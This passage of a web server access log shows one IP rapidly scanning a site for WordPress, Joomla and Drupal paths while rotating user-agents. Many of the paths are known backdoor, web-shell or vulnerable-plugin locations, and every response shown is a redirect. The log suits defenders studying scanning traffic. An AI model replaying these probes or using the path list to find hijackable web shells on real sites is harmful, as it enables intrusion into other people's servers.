Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:35 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:35 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:35 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:35 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:35 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:36 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:36 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:36 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:36 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:36 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:37 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:37 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:37 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:37 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:37 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:38 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:38 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:38 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:46:38 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:39 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:39 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:39 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:39 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:39 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:40 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:46:40 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:40 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:46:40 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:40 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:41 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:41 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:41 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:41 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:42 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:42 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:42 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:42 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:42 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:43 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:46:43 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:43 +0300] "GET /wp-includes/js/tinymce/plugins/paste/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:43 +0300] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:43 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:44 +0300] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:44 +0300] "GET /files-and-directories-in-linux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:44 +0300] "GET /filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:46:44 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:45 +0300] "GET /modules/simpletest/tests/themes/test_basetheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:46:45 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:45 +0300] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:45 +0300] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:45 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:46:46 +0300] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:46:46 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:46:46 +0300] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:46 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:46 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:47 +0300] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:47 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:46:47 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:47 +0300] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:47 +0300] "GET /wp-content/plugins/simple/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:48 +0300] "GET /wp-includes/Requests/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:48 +0300] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:48 +0300] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:48 +0300] "GET /wp-content/plugins/elementor/modules/floating-buttons/classes/render/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:49 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:49 +0300] "GET /wp-admin/css/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:49 +0300] "GET /wp-content/plugins/wp-file-manager/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:49 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:49 +0300] "GET /wp-content/plugins/elementor/assets/js/packages/editor-app-bar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:50 +0300] "GET /modules/mod_footer/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:50 +0300] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:50 +0300] "GET /wp-content/plugins/olympus-google-fonts/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:46:50 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:51 +0300] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:46:51 +0300] "GET /wp-includes/js/tinymce/plugins/lists/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:46:51 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:46:51 +0300] "GET /wp-content/themes/evita/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:51 +0300] "GET /wp-includes/sitemaps/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:52 +0300] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:52 +0300] "GET /wp-content/ID3/img/img/block/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:52 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:52 +0300] "GET /wp-includes/theme-compat/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:53 +0300] "GET /wp-includes/SimplePie/Decode/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:53 +0300] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:53 +0300] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:46:53 +0300] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:53 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:54 +0300] "GET /wp-content/uploads/gravity_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:54 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:54 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:54 +0300] "GET /wordpress/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:55 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:55 +0300] "GET /wp-content/plugins/litespeed-cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:55 +0300] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:55 +0300] "GET /cgi_bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:46:55 +0300] "GET /proyectoweb/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:56 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:56 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:56 +0300] "GET /wp-content/plugins/wp-catcher/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:56 +0300] "GET /portal/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:56 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:57 +0300] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:57 +0300] "GET /wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:57 +0300] "GET /wordpress/wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:57 +0300] "GET /wp-content/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:57 +0300] "GET /wordpress/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:58 +0300] "GET /wp-includes/Text/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:58 +0300] "GET /wordpress/wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:58 +0300] "GET /wordpress/wp-includes/Text/ 